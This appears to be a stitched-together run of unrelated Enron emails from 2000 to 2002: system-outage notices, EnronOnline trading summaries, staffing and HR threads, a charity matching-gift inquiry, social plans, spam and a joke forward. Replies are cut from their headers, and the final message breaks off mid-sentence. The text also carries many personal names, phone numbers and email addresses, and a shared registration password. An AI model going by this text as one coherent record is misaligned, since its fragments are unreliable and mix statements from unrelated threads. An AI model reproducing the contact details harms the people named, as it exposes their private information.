Sent:	Monday, November  12, 2001 3:33 PM
To:	Vasan, Sue; Harris, Molly; Slaughter, Chris; Mihalik, Teresa; Holzer, Erich; Power, Keith E.; Furey, Denise; Brackett, Debbie R.
Cc:	Mills, Scott; Beck, Sally; Stubbs, Shelly
Subject:	RE: EES Weekly Status

This is totally unacceptable.  Is there any focus on cleaning this up?

From: 	Vasan, Sue  
Sent:	Monday, November 12, 2001 3:31 PM
To:	Harris, Molly; Slaughter, Chris; Mihalik, Teresa; Holzer, Erich; Power, Keith E.; Furey, Denise; Brackett, Debbie R.; Bradford, William S.
Subject:	EES Weekly Status

Big jump in the number of New Counterparties.  Up by 5,420 new counterparties.

 << File: EES Cpty Stats.xls >> 

F O R

May 11, 2001 5:00pm through May 14, 2001 12:00am

ENRON NORTH AMERICAN LANS:      AlSO SEE ORIGINAL REPORT 
Time:  Fri 5/11/2001 at  6:15:00 PM CT thru Fri 5/11/2001 at  7:00:00 PM CT
 Fri 5/11/2001 at  4:15:00 PM PT thru Fri 5/11/2001 at  5:00:00 PM PT
 Sat 5/12/2001 at  12:15:00 AM London thru Sat 5/12/2001 at 1:00:00 AM London
Outage:  Trader DFS Re-Configuration
Purpose: Data access
Backout: Continue to use ENEHOU
Contact(s):  Frank Coles    (713)406-0470
  John Cheng     (713)853-1672 
  
MESSAGING: No Scheduled Outages.

OTHER SYSTEMS:         ALSO SEE ORIGINAL REPORT 
Time:  Sat 5/12/2001 at  10:00:00 AM CT thru Sat 5/12/2001 at  5:00:00 PM CT
 Sat 5/12/2001 at    8:00:00 AM PT thru Sat 5/12/2001 at  3:00:00 PM PT
 Sat 5/12/2001 at  4:00:00 PM London thru Sat 5/12/2001 at  11:00:00 PM London
Outage:  Disk upgrade for dual boot on server gfp1.
Environments Impacted:  Infinity development
Purpose: Disk upgrade needed to establish dual boot redundancy.
Backout: reinstall old configuration
Contact(s):  Malcolm Wells    713-345-3716
                    
Impact:  CORP NFS
Time:  Fri 5/11/2001 at  8:00:00 PM CT  thru Fri 5/11/2001 at  10:00:00 PM CT
 Fri 5/11/2001 at  6:00:00 PM PT thru Fri 5/11/2001 at   8:00:00 PM PT
 Sat 5/12/2001 at  2:00:00 AM London thru Sat 5/12/2001 at  4:00:00 AM London
Outage:  OS upgrade on NFS servers calvin and hobbes.
Environments Impacted:  Sitara, Weather App. Infifity NFS
Purpose: The upgrade is needed for added SIFS functionality and support.  
SIFs is the component that allows NT/UNIX access.
Backout: We can revert to one of several previous OS version stored on disks.

Impact:  Unix
Time:  Sat 5/12/2001 at  2:00:00 PM CT thru Sat 5/12/2001 at  4:00:00 PM CT
 Sat 5/12/2001 at  12:00:00 PM PT thru Sat 5/12/2001 at  2:00:00 PM PT
 Sat 5/12/2001 at  8:00:00 PM London thru Sat 5/12/2001 at  10:00:00 PM London
Outage:  Neutron - Add a CPU boardd
Environments Impacted:  UniX Users
Purpose: increase cpus
Backout: Remove / replace board.
Contact(s):  Adam DeRidder    713-853-1428
  Michael Barber      713-853-5530
  Wilford Stevens     713-853-7564
  
SITARA:    See above    
 
TELEPHONY:       SEE ORIGINAL REPORT  
 
UNIFY:   ALSO SEE ORIGINAL REPORT  
Time:  Fri 5/11/2001 at  4:00:00 PM CT thru Sat 5/12/2001 at  3:30:00 PM CT
 Fri 5/11/2001 at  2:00:00 PM PT thru Sat 5/12/2001 at  1:30:00 PM PT
 Fri 5/11/2001 at 10:00:00 PM London thru Sat 5/12/2001 at 9:30:00 PM London
Outage:  Configure new hard disk and install all necessary OS and software.
Environments Impacted:  Power Settlements users
Purpose: Upgrade server
Backout: Re-install old hard disk, fall back to stand-by server as last 
resort.
Contact(s):  Michael Cuccia    713-853-6629   
-----------------------------------------------
        FOR ASSISTANCE

Information Risk Management   (713) 853-5536
SAP/ISC                                                                       
        (713) 345-4727
Unify On-Call      (713) 284-3757  [Pager]
Sitara On-Call     (713) 288-0101  [Pager]
RUS/GOPS/GeoTools/APRS   (713) 639-9726  [Pager]
OSS/UA4/TARP    (713) 285-3165  [Pager]
CPR      (713) 284-4175  [Pager]
EDI Support      (713) 327-3893  [Pager]
EES Help Desk     (713)853-9797 OR (888)853-9797

Pat,

Howdy!!!!

What is going on?  I heard from Erica that she may have some decisions to make soon.  Are you going through the same thing?  I'm interested to know.

I heard from Andy Maus last week.  He is doing some contract work for Enron.  He and his family are enjoying Denver.

Please call or email me.

I hope all is well.

Mark

Mark McConnell
Transwestern Pipeline Company
713-345-7896   office
713-822-4862   cell
713-646-2551   fax
mark.mcconnell@enron.com

From: 	Clark, Chad  
Sent:	Tuesday, October 30, 2001 12:31 PM
To:	Dorland, Chris
Subject:	FW: Newfie Windows

From: 	Bruce, Chad  
Sent:	Tuesday, October 30, 2001 12:19 PM
To:	Powley, Barry; Brandon (E-mail); Collin (E-mail); Craig School (E-mail); Geordie Hochbaum (E-mail); Jesse (E-mail); Jon (E-mail); Mike (E-mail); Pat (E-mail); Rob (E-mail); Ray (E-mail); Shane (E-mail); Troy (E-mail); Clark, Chad; Watt, Ryan

this is pretty sweet...

>From: "Chris Konschuh" <konschuh@adv-eng-ser-inc.com>
>Reply-To: <konschuh@adv-eng-ser-inc.com>
>To: "Sean Peppard" <seang5outfitting@hotmail.com>, "Sarah Konschuh"
><skonschuh@hotmail.com>, "Kendra Konschuh" <kendra@ctec.ab.ca>, "Dee Elder"
><elderwrs@telusplanet.net>, "Deryk Zimmer" <dzimmer@saskpower.com>, "Craig
>Knull" <cknull@powersurfr.com>, "Bill Yakoweshen" <illster@hotmail.com>
>Subject: Newfie Windows
>Date: Mon, 29 Oct 2001 19:30:03 -0600
>
>

 - Windaz 2000 Newfie Edition.gif 

We cannot afford a communications or performance breakdown.  I am looking to 
you to insure that one does not happen.

Rick Craig
04/26/2001 07:51 PM
To: Stanley Horton/Corp/Enron
cc:  

Subject: Re: Organizational Announcement  

Stan, thanks for the comments.  With regard to EOTT, we plan to keep the same 
attention and focus on all of the EOTT initiaitives.  I'm a little bit 
surprised by your comment that they didn't know because I talked with Dana 
the day after I announced it at Phil's staff meeting.  Obviously something 
broke down somewhere and I need to keep that in mind in the future.  

Relative to your second concern, I'd be less than honest with you if I told 
you that I don't have the same concern.  Phil and I discussed this at some 
length but since his work on the international side was winding down and 
Hawkins really didn't have anything for him going forward we thought his 
measurement background and technical knowledge might be a fit here.  Don and 
I talked to Lohit at some length about the communications and relationship 
building required for him to be successful in the job and he felt he could 
handle it.  I plan to stay on top of it.  If I see the communications and/or 
relationships that are required for this job breaking down, I plan to deal 
with them quickly through the performance mangement process.  Hope this 
answers your questions.  

04/23/2001 08:02 AM
To: Rick Craig/OTS/Enron@ENRON
cc:  

Are you sure Lohitt is the right person to do this job.  What about EOTT?  No 
one at EOTT even knew that Steve was leaving before I told them last week.  
Communication skills are crucial in this job and I never thought that was one 
of Lohitt's strong skills,

This is a message to let you know that your e-mail is bouncing. This means
that our system is having trouble reaching you at this email address. If
you receive this message, it appears that the problem was temporary. There
is no action that you need to take.

The List Builder Team

Diane,
 
I'm assuming that these are not being paid.  
 
Michelle, do you have any idea if she could get out of her commitment.  I'm assuming that she really isn't liable for the $1,000 match.
From: Mayes, Fran 
Sent: Wednesday, December 19, 2001 12:20 PM
To: Pieper, Kalen
Subject: FW: Enron Matching Gifts

Kalen, 
 
Can you help me with this answer ?
 
Fran

From: "Elizabeth Hutchinson" <ekhutchinson@earthlink.net>@ENRON 
Sent: Wed 12/19/2001 10:21 AM 
To: Mayes, Fran 
Cc: 
Subject: Enron Matching Gifts

Hi Fran,

I know you must be really bogged down with  questions, so my apologies in advance for bugging you, but if you could track  down an answer for me it would be much appreciated.  

I am running the Houston Marathon for the Leukemia  Society.  I made a fundraising commitment of $2000.  I have raised  $1000 and have been waiting for the Enron match of $1000 from the matching gifts  program.  The request was submitted well in advance of the cutoff  deadline that was announced via e-mail a few weeks before the layoffs.  The  Leukemia Society has not yet received the match.  If Enron does not come up  with the match, I am personally on the hook for this $1000, and in light of the  small severance situation, it is going to be really tough for me right  now.

Do you have any information on whether or not  the Enron commitment will be honored as was communicated in the  e-mail?  Do you have any idea when the funds will be sent to the  Leukemia Society?  Any information you can provide right now will be much  appreciated, so that I can pass it along to the Leukemia  Society.  

Thank you,

Elizabeth Hutchinson

281-362-9310   

Why is Enron's stock so volatile now? Since today's session started, ENE
     has lost another $2.50!

     Mr. Ken Lay replies
     I haven't had a chance to check our stock today, but I think for several 
reasons
     it's more volatile. But before I comment on that, our stock price is 
still up even
     if it went down that much today. It's up 40% since the beginning of the 
year
     when the Dow was down. As recently as mid-December, the stock price is up
     about 75%. That's one reason why it's so volatile. Some people bought in
     along the way, they've had a good strong increase, particularly with the
     uncertainty in the marketplace, people just want to take some money off 
the
     table. As we become more of a technology stock, a high P/E stock, a 
growth
     stock held by growth portfolios, you're going to have more volatility, 
just like all
     the other companies that fit into that category. Throughout the market,
     technology stocks quite often go up or down not just $3-$4 a whack, but 
often
     $10-$12-$15 a whack. What I tell Mark Koenig is I love that volatility 
on the
     upside, but I hate it on the down side. 

     We've had a change in the ownership of our stock. Increasingly, it's 
being
     bought by the growth portfolio managers, and increasingly it's being 
sold by
     the value and other portfolio managers that picked it up at much lower
     valuations, and now at these values they want to take their money and 
put it
     back into lower P/E stocks. I know this makes everybody a little 
nervous, but
     this is probably the world we're in now. I'd rather be in this world 
with a 50 P/E
     than the more stable world with a 20 P/E.

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Dear Dr. McMullen,

A few weeks ago I received a call from your University
regarding employment opportunities at Enron.

I called back and summarized the  needs of my group (an ideal profile of a 
candidate):

1. mathematical finance
2. computer programming (C, C++)
3. understanding of the energy markets

I shall appreciate any information about potential candidates.

I have also given some other suggestions regarding potential
opportunities for graduates with different profiles.

Please, feel free to call me. My number is 713 853 3848.

Kay/Randy

Attached is the revised draft for your review.  Among other things, it 
further moves the contract from international to domestic and addresses the 
fully reimbursable basis and the differing responsibilities regarding 
existing equipment.  I still have a few concerns regarding:

1. The equipment procurement mechanism, currently as agent for Owner.
2. The payment mechanism.  There is currently no down payment.

I have attempted to keep changes to a minimum.  Please call if you have any 
questions about what I have done so far.  I would be happy to meet with you 
to discuss any aspect of the document.

12,000 free photos and high quality graphics!
Click Here: http://www.passionup.com/free.htm?lk=ob7

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* Enter your email address (jason.wolfe@enron.com) in the field
provided and click "Unsubscribe". The mailing list ID is "HotDeals:*".

OR...

This message was sent to address jason.wolfe@enron.com
X-PMG-Recipient: jason.wolfe@enron.com

pmguid:ud.xha.f5tmd

I know you are getting the legal bills paid through Don's budget for work 
done in Argentina.  Is it possible to handle the bills for work done in 
Brazil the same way?  I have a bill from Tozzini that we need to pay.  Since 
it is all in connection with South American trading it seems reasonable to 
treat it the same as the others but I'm not sure how you are handling these 
things.  Any thoughts?

Please provide more information on this entity. 

	05/18/2001 02:56 PM
		 
		 cc: 
		 Subject: FW: EOL Approvals: 05-18-01

----- Forwarded by Tana Jones/HOU/ECT on 05/18/2001 02:56 PM -----

	Wendi Lebrocq/ENRON@enronXgate
	05/18/2001 02:49 PM
		 
		 To: Karen Lambert/ENRON@enronXgate, Tana Jones/HOU/ECT@ECT, Samuel 
Schott/ENRON@enronXgate, Mark Taylor/HOU/ECT@ECT, Brant 
Reves/ENRON@enronXgate, Debbie R Brackett/ENRON@enronXgate, Cynthia 
Clark/ENRON@enronXgate, Enron Europe Global CounterParty/LON/ECT@ECT, 
Stephanie Sever/ENRON@enronXgate, Tom Moran/ENRON@enronXgate, Claudia 
Clark/ENRON@enronXgate, William S Bradford/ENRON@enronXgate, Lisa 
Lees/ENRON@enronXgate, Juana Fayett/Corp/Enron@Enron, Jana 
Morse/Corp/Enron@Enron, Trang Le/HOU/ECT@ECT, Paul Maley/LON/ECT@ECT, Sonya 
Clarke/LON/ECT@ECT, Tim Davies/LON/ECT@ECT, Karen O'Day/ENRON@enronXgate, 
Tanya Rohauer/ENRON@enronXgate, Kelly Lombardi/ENRON@enronXgate, Brian 
Lindsay/Enron Communications@Enron Communications, EOL Call Center@ECT, Bill 
D Hare/ENRON@enronXgate, Amy Heffernan/Enron Communications@Enron 
Communications, Molly LaFuze/Enron Communications@Enron Communications, Danny 
Clark/Enron Communications@Enron Communications, Stephanie 
Panus/NA/Enron@Enron, Teresa Mandola/ENRON@enronXgate, Bill 
Kyle/ENRON@enronXgate, Amber Ebow/ENRON@enronXgate, Thu Pham 
Arnold/ENRON@enronXgate, Tandra Coleman/ENRON@enronXgate, Lesli 
Campbell/ENRON@enronXgate, Wendi Lebrocq/ENRON@enronXgate
		 cc: 

Regards,
3-3835

Check this out.   On Thursday I emailed Ed Campbell, the guy that writes
the "Campbell's Guide to Cruising Texas."  I wanted to know what he
thought about me trying to take my sailboat up Bastrop Bayou.
Surprisingly, he replied almost immediately with a long, fairly helpful
email.

From: Ed Campbell [mailto:eden@pyramid3.net]
Sent: Friday, April 20, 2001 6:06 AM
To: Marc Stewart
Subject: Re: Bastrop Bayou

Marc:

My explorations of Bastrop Bayou have been done on "skinny water" craft.
However, I have been there during very low winter water, where the deep
channel was very clear. It does wind through shallower areas,
particularly
just north of the ICW. If you take it really slow and read the channel
with
a depth sounder or (more dependably) with a cane pole about 10-12 feet
long,
finding the deep water shouldn't be a problem. However, for parts of the
trip, I suspect carrying a six foot draft could be interesting (not your
problem, fortunately). I hope the FM road bridge is upstream from your
friend's house; it looks like a 45 footer (marginal for your 32, I'll
bet).

Maybe your friend has a boat, or a neighbor with a boat, and you can
arrange
to go for a "look see" ride armed with your cane pole. Just from casual
observation, I've often seen shallow spots crop up near waterfront
housing
from yard runoff, etc. that might cause more problems for you than the
bayou
itself.

I'd guess that the biggest problems for you will be at the ICW
intersection
(it's sometimes difficult to find the deep entrance there: just keep
poking
your nose in, slowly...it's there...) and at the upstream end of your
trip.
Of course, it's always fun to "divine" the navigational meaning attached
to
a particular piece of PVC stuck in the mud here and there.

Short of a prior "look see", you might consider what I often do. The
dinghy
is in the water. towed on a short painter and available for instant use.
If
I see a shoaling trend or lose my "feel" of where deep water lies ahead,
I'll anchor (short scope) where I am (although not in the ICW!) and
explore
in the dink using a sounding pole or lead line. Cindy and I worked our
way
across the flats on the Bahama Bank side of the Berry Islands using that
technique several years ago. Out there, they say you can tell depth by
the
water color - well, yes, but on the banks water that is 4 feet looks the
same shade of white as 2 feet...or 6 inches for that matter...problem is
that you can see where you left bottom paint... Ya' jus' gotta go slo'

Sounds like a fun trip. I'd like to hear more.

Regards,

Ed Campbell

From: Marc Stewart <Stewart@Mallia.com>
To: 'campbell@waltereden.com' <campbell@waltereden.com>
Date: Thursday, April 19, 2001 17:28
Subject: Bastrop Bayou

>I have a 32' Endeavour sailboat with a 4'2" draft that I would like to
>try to take up Bastrop Bayou from the ICW.  I have a friend with a
>bayhouse near the bridge at Demi-John Island.   Your cruising guide
>seems to suggest I could make the trip, but I was wondering if you have
>ever personally taken your sailboat up the bayou and, if so, how
>difficult was it?
>

Tomorrow we will meet at Pappasito's over by the dome around 6:30 if that is
good for you.  That is the plan.  We can grab a little bite there drink a
rita and then head over to the dance.  Is Travis coming also?

From: <Don.Baughman@enron.com>
To: <STICHAVSKY@PCT-INC.COM>
Sent: Tuesday, January 15, 2002 10:09 AM
Subject: RE: Hey Man

> I'm in for Wed. night Kick Off Dance, tell me when & where to meet you!
>
> DB
>
>     -----Original Message-----
>    From:   "SCOTT TICHAVSKY" <STICHAVSKY@PCT-INC.COM>@ENRON
>    Sent:   Tuesday, January 08, 2002 8:00 AM
>    To:     Baughman Jr., Don
>    Subject:  Hey Man
>
>
>    Three interesting things.
>
>    1.  The Steer Starletts Fundraiser we think is  going on this Thursday
>    night.  It is a very good Rodeo social  event.  Lots of honies, free
>    drinks and free food.  I will keep you  posted.  I should find out for
>    sure today that it is going on.
>
>    2.  The Rodeo Kickoff dance is going on next  Wednesday the 16th.  You
>    and Travis are invited to come with me if ya'll  would like.  Or meet
me
>    somewhere in the area.  It starts at 7:30 or  something like that.
>
>    3.  On Friday night some of us are going to  the Firehouse to celebrate
>    Barbara Prukop's 35th birthday.  Ya'll are  invited to that also.
>
>    So let me know something about joining us for any  of the above social
>    events.
>
>    Scott
>
>
>
> **********************************************************************
> This e-mail is the property of Enron Corp. and/or its relevant affiliate
and may contain confidential and privileged material for the sole use of the
Thank you.
>
>

From:  Lawrence, Linda L.  
Sent: Friday, July 13, 2001 10:04 AM
To: Linnell, Elizabeth; Nicolay, Christi; Scott, Susan
Subject: FERC RTO Orders, Part 2

Tony has already done this..........

Desleigh Langfield
04/04/2001 09:46 AM
To: Kevin G Moore/HOU/ECT@ECT
cc: Vince J Kaminski/HOU/ECT@ECT, Mike A Roberts/HOU/ECT@ECT, Shirley 
Crenshaw/HOU/ECT@ECT 
Subject: Re: Tony Hamilton  

thanks, can you tell Tony to come to HR reception on Monday morning at 8.30am 
for induction which will last until midday

Kevin G Moore
04/04/2001 15:41
To: Desleigh Langfield/LON/ECT@ECT, Vince J Kaminski/HOU/ECT@ECT, Mike A 
Roberts/HOU/ECT@ECT, Shirley Crenshaw/HOU/ECT@ECT
cc:  

Tony Hamilton  reports to Mike Roberts in the Houston office.

Vince Kaminski will  answer  these questions for you at any
given time.

Tony 's start date in London will be  April 9th

                                                   Thanks
                                                Kevin Moore

04/04/2001 08:29 AM
cc:  
Subject: Tony Hamilton

Kevin

Tani Nath who heads up the Structuring and Research teams rang this morning 
to get more information on Tony.

Can you tell me who he reports to in Houston and whether that person will 
continue to manage him remotely?

What cost centre he should be charged to ? whose headcount he appears on, and 
for what group he will be providing services for, Tani was unsure on all of 
the above and wants clarification.

Also can you confirm his start date in London

thanks

Desleigh 
---------------------- Forwarded by Desleigh Langfield/LON/ECT on 04/04/2001 
14:27 ---------------------------

06/03/2001 13:40
To: Steven Leppard/LON/ECT@ECT
cc:  

Steve

all sorted and we will check later in the week with IT that all is okay.

Can you please tell your assistant to organise a desk for Tony, no rush 
obviously

thanks

Desleigh
---------------------- Forwarded by Desleigh Langfield/LON/ECT on 06/03/2001 
13:38 ---------------------------

06/03/2001 13:38
To: European Resolution Center/LON/ECT@ECT
cc: Kevin G Moore/HOU/ECT@ECT, Steven Leppard/LON/ECT@ECT, Anna 
Seymour/LON/ECT@ECT 

Hi

Tony is a UK employee who starts next Monday 12th March 2001, we have done a 
quick start in Nest today for him.

Tony will be working his first month in the Houston office, however we still 
need to set up a log on and notes account here. 

Can you please send the log on and password for both accounts to Kevin as he 
will be meeting with Tony on Monday morning in the Houston office.

Tony will not have a desk arranged for him until he comes back in 
approximately a month so no actual PC is necessary until then. 

One question - with a UK log on and notes account, will Tony be able to 
access these from Houston? if it's complicated can you please let Kevin know 
how to do this. 

any problems let me know

thanks

Desleigh

Everything is working.

Eric

Julie Pechersky
03/17/2000 07:45 AM
cc:  
Subject: CQG

Eric:
You should now have access to CQG.  To install CQG choose Start, Programs, 
Trading, CQG Local Install.  After the application has
installed you will choose Start, Programs, Trading, CQG to access.  No 
password is necessary, find your name in the drop down menu
and choose login. 

Thanks,

Julie

Please register

Talk to Liz/Nicki to see if they want you to attend to help - only if you want to

From: 	Enron Announcements/Corp/Enron@ENRON   On Behalf Of Ken Lay- Chairman of the Board@ENRON
Sent:	Monday, October 08, 2001 10:39 PM
To:	VP's and Above- Enron Management Conference List@ENRON
Subject:	Please Register to Attend the Enron Management Conference

As you know, the Enron Management Conference will be held Wednesday through Friday, November 14-16, 2001, at the Westin La Cantera Resort in San Antonio, Texas.  

This has been an eventful and challenging year for Enron.  Now,  more than ever,  it is fitting to bring Enron's leaders together.  After all, it is up to our management team to lead our company through these challenging times.  Together, we will define Enron's character and determine Enron's destiny.

We have a great program planned for this year's conference.  I'm delighted that General Norman Schwarzkopf will join us as a keynote speaker on leadership.  I'm equally pleased to welcome back Gary Hamel, who will help us process the past year and prepare for future success.  As I've said before, we are a company that continues to look to the future, and there are many exciting things in store for us.

I look forward to seeing you at this very important meeting.

Regards,
Ken Lay 

NOTE:   This year,  registration for the Management Conference will be conducted electronically.  Below is a link to the online registration website along with instructions for navigating the site.  Everyone must register by Friday, November 2. 

http://www.mplanners.com/enron

When you access the Management Conference online registration website, enter your eMail Address and Password (password: enron) in the specified boxes.  The first time you access the site, you will be prompted to enter your First Name and Last Name.  Once completed, click Submit. 

On the next page, click Sign Up Now to register.  You will be prompted to enter your basic information and make selections for your hotel room, travel and preferred activity.  In the scroll box to the right, you can review and print the conference agenda, a list of activities, as well as travel arrangements and other general information.  

After you have entered the necessary information, you can Review Your Registration or simply Log Out.  Your registration information will be automatically submitted.  

Once registered, you can reaccess the site at any time to review or change previous elections.  When reentering the site, you only need to enter your eMail Address and Password.

If you experience any problems accessing the site, please contact Marge Nadasky at 713-853-6631.

Thank you for supporting Kristin Albrecht in attending Effective Interviewing 
Skills on April 18, 2000.

$300 has been charged to your Company and RC.  If you have any questions, 
please call the Development Center Team at 713-853-0357.

Dear Jeff and Sue:

Sorry to be a broken record on this one....but I don't know what you want to
do about the Affiliates case.  There is a PHC tomorrow and comments were
filed.  SCE's comments make a nasty jab at Enron for proposing the rules in
the first place.  I see that AReM is participating as well.  If your plan is
to participate in this proceeding only through AReM, that's fine but please
let me know so that I can remove my appearance.  I will be at the PHC for
Wild Goose but would like to be very clear about who I am representing in
the docket in order to avoid confusion.

Thanks,

Jim McTarnaghan
Goodin, MacBride, Squeri, Ritchie & Day
505 Sansome Street, Suite 900
San Francisco, CA 94111
415-765-8409 (Direct Line)
415-398-4321 (Fax)
jmct@gmssr.com (Email)

Yes we are here permanently, if the tenure gods cooperate; I am teaching at 
Amherst
College, in the Department of Fine Arts.  Gemma is 3 1/2 and we are expecting 
her
sister at the end of June, things are good given the upheaval moving 
entails.  We
are going to be in Houston in March for the opening of the new building at 
the MFA,
it's a tight trip but maybe we can have coffee or something, email me a phone 
number
where we can get in touch.

Nice to hear from you

Mark Taylor wrote:

> Thanks for your card and hello to the whole family.  I didn't know you guys 
were
> in Mass.  Is this a long term move?  Things are still pretty much the same 
in
> Houston.  We'd certainly look forward to seeing more of you down this way!

--
DeWitt Godfrey, Assistant Professor
Department of Fine Arts
Amherst College
19 Fayerweather Hall
Amherst, MA 01002-5000
Tel  413 542 2162
Fax  413 542 7917
Email  dagodfrey@amherst.edu

 - dagodfrey.vcf

Please note the attached press release from Governor Davis regarding a
new energy efficiency program in which he references a contract with
EES.

http://www.governor.ca.gov/state/govsite/gov_htmlprint.jsp?BV_SessionID=@@@@11
67524908.0985126123@@@@&BV_EngineID=halkhckdehmbemfcfkmchcgi.0&sFilePath=%2fgo
vsite%2fpress_release%2f2001_03%2f20010320_PR01104_energyefficientbuildings.ht
ml&sTitle=GOVERNOR+DAVIS+ANNOUNCES+STATE+AGREEMENTS+TO+SPUR+ENERGY+EFFICIENT+B
UILDINGS+03%2f20%2f2001&sCatTitle=Press+Release&iOID=14048

I have already left him a voice mail. Will let you know when I hear. Tx Rick

I know you don't believe this but I am working on a notional offer.

Michael H Garred@EES
11/22/2000 09:43 AM
cc:  
Subject: Tetco M2

Chris,

I'm looking for gas delivered to two Tetco M2 interconnects with TCo.

At the minimum, I'm looking for an offer for a flat baseload volume for 
December flow.  My preference is to get an offer for a flat baseload volume 
from December through March.  The points and volumes are:
 Delmont {Volume:  3,712/day}
 Windrifge {Volume:  2,859/day}

Can I get a nymex plus offer?

Thanks.

mhg

		** URGENT NOTIFICATION:  SI Servers  UNAVAILABLE, Tuesday,
August 7th, 2001 (08:15 to 08:50pst) as we will be Falling-Forward to our
Primary server in Folsom.

		Please submit all Hour Ahead schedules for August 7th  HE ,
1200 and 1300 and Supplemental Energy schedules for, 1100  and 1200  prior
to 0800.

		Once the SI system is available, Please point your
web-browsers to our Primary server in Folsom by utilizing the following URL:
https://iso_si/iso .    Also, please be advised that you should clear the
Netscape cache, close all open Netscape windows, and re-start Netscape,
before attempting to log onto the primary site.  

		Please contact Benik DerGevorgian (916) 351-2277
bdgevorgian@caiso.com or Michael Glatz (916) 608-5727 mglatz@caiso.com if
you have any questions or concerns.

		Thank you,
ISO Market Operations

---------------------- Forwarded by Darron C Giron/HOU/ECT on 11/27/2000 
10:22 AM ---------------------------
  Cindy Olson  Executive VP
   Human Resources & Community Relations  
From: Cindy Olson  Executive VP Human Resources & Community Relations@ENRON 
on 11/13/2000 06:46 PM
To: Enron Employees United States
cc:  
Subject: Holiday Schedule 2001

Please click on the URL below for Enron's 2001 Holiday Schedule.

http://home.enron.com:84/messaging/2001sched.jpg

Dear Dr. Kaminski

Thanks for your arrangement. I have received email from Shirley. Either
Wednesday or Thursday will be fine to me. I am looking forward to talking to
you at that time. It is always my pleasure to work with you.

Best Wishes
Quentin Kerr
---------------------------------
Quentin Kerr,                            email: qkerr@maths.uq.edu.au
Room: 67-625                          Tel: (07)33461428
Department of Mathematics,  The University of Queensland

I don't know where your friend got his info from . . .

http://cbs.sportsline.com/u/ce/multi/0,1329,3369131_56,00.html 

Guy, FYI.  Is anyone familiar with this?  Mike is looking for some feedback.  
It looks very premature and not worth a lot of time but he may need us to 
talk with them to help him with his business down there.  Any comments?

Mike
---------------------- Forwarded by Mike McConnell/HOU/ECT on 07/11/2000 
04:51 PM ---------------------------
   
	From:  Michael Guerriero @ ENRON                           07/08/2000 10:04 AM
	
To: Mike McConnell/HOU/ECT@ECT
cc:  
Subject: Nodocero.com

Here is the information we discussed regarding Nodocero. Let me know when is 
a good time to do a secondary discussion. They will be in Houston late next 
week and early the following week. I will give you a call Monday.

MFG 
---------------------- Forwarded by Michael Guerriero/SA/Enron on 07/08/2000 
12:02 PM ---------------------------

Patrick Hansen
07/07/2000 12:39 PM
To: Michael Guerriero/SA/Enron@Enron
cc:  

Michael, I have the following comments to the Nodocero.com project.

Currently works as a platform where buyers and sellers agree on a price 
through an auction process (brokerage fee)
They aim at becoming a regulated market with standardised contracts. (subject 
to market and regulatory evolution)
Their value drivers are the "Payment Guarantee" (through an insurance 
company) and "Backoffice" (registration before regulatory authorities). None 
of these issues are definitely solved (no agreement with Insurance Co. and if 
any transaction is done now, all the backoffice procedures have to be done 
manually with their employees).
No technological partner yet. They have developed the web site platform (you 
can see it at www.nodocero.com), but I understand that they don't have the 
rest of the technological components required (database, operations, clearing 
system, other). 

Apart from this, I would consider the following issues:

Currently there is no regulated market for this sector of the economy 
(Argentina and the rest of Latin America). Therefore their idea of becoming 
one is good.
The competitors in this race are: Nodocero.com - aXesoEnergia.com - 
EnergyVex.com - Rofex (Rosario Futures Exchange) - other.
No competitor has yet taken an important lead in this race. aXesoEnergia.com 
is doing an important investment in marketing, but it currently works via an 
auction process and does not provide any further service like guarantee or 
backoffice.
One of the competitors will eventually succeed in becoming the reference 
market.
Nodocero.com has no strategic partner yet. (this could be taken as positive 
or negative)

The attached file is their business plan

Patrick

Dear Customers,
 
Christmas is around the corner, and this year we will be making a donation to the Red Cross on behalf of each of you.  We are asking you to please e-mail us your home address, so we can make certain that everyone will be included in this donation.    
 
Thank you for your cooperation.
 
Respectfully,
 
Herb Lee 
 
herbl@amerexenergy.com <mailto:herbl@amerexenergy.com>
 
Following please find the Daily EnronOnline Executive Summary.

EnronOnline Executive Summary for 11/08/00
Transaction Summary	
External Transactions Today	4,289
Average Daily External Transactions (30 day Trailing Avg)	3,151
Total Life to Date Transactions	418,813

EnronOnline Daily % of Entity's Total Transactions for 11/08/00	Trans	Percent
Enron North America	3,713	75%
Enron Europe Limited	134	28%
Global Products	149	31%
Enron Metals	293	15%

EnronOnline Percentage of Total Corporate Transactions 
(30 day Trailing Avg)	47%

Gross Notional Value of EnronOnline Transactions	Total
Today	3,090,978,959
MTD	15,725,761,413
LTD	229,157,446,092
Average Daily Notional Value (30 Day Trailing Avg)	2,171,200,670
	
Notional Revenue from Physical Flows to Date	15,892,879,772

Counterparties, Users, and Products Offered	
Counterparties having transacted to date	553
New Counterparties transacting for the first time today	3
Number of Products Offered Today	1,206
Total Number of External Users Logged on Today	2,827
Average # of External Users logged on (30 day Trailing Avg)	2,697

My adds to you list are (1) the "2-Train" contract for Pastoria (7FAs, HRSGs 
& other ancillary equipment) and (2) the "1-Train" contract for Pastoria 
(agreement in principle with final, full-blown contract nearing completion).  
--  Regards,
Karen

To: Kathleen Clark/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Barton 
Clark/HOU/ECT@ECT, Bob Carter/HOU/ECT@ECT, Stuart Zisman/HOU/ECT@ECT, Scott 
Dieball/ENRON_DEVELOPMENT@ENRON_DEVELOPMENt, David K 
Bargainer/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Brian D 
Barto/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Cheryl 
Costa/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Peggy Banczak/HOU/ECT@ECT, Karen E 
Jones/HOU/ECT@ECT, Dale Rasmussen/HOU/ECT@ECT, Alan Larsen/PDX/ECT@ECT, 
davidlu@nepco.com
cc: Sheila Tweed/HOU/ECT@ECT, Roseann Engeldorf/Corp/Enron@ENRON 
Subject: WestLB

To all,

As you know, Enron is refinancing the equipment we bought through WestLB.  
I've been asked to compile a list of all the equipment purchased through 
WestLB, and the change orders related to same.  All I know about is the LM 
deal with GE (with 1 executed change order, approximately 4 or 5 pending) and 
the ABB transformer deal (with one CO pending).  Please let me know if you 
are aware of any others.

Thanks,

Kay

> > > Subject: Venus and Mars
> > >
> > >
> > >
> > >
> > > >>Her story vs. his story
> > > >>
> > > >>HER STORY:
> > > >>
> > > >>He was in an odd mood when I got to the bar, I thought it might
> > > >>have been because I was a bit late but he didn't say anything
> > > >>much about it. The conversation was quite slow going so I
> > > >>thought we should go off somewhere more intimate so we could
> > > >>talk more privately. So we went to this restaurant and he's
> > > >>STILL acting a bit funny and I'm trying to cheer him up and
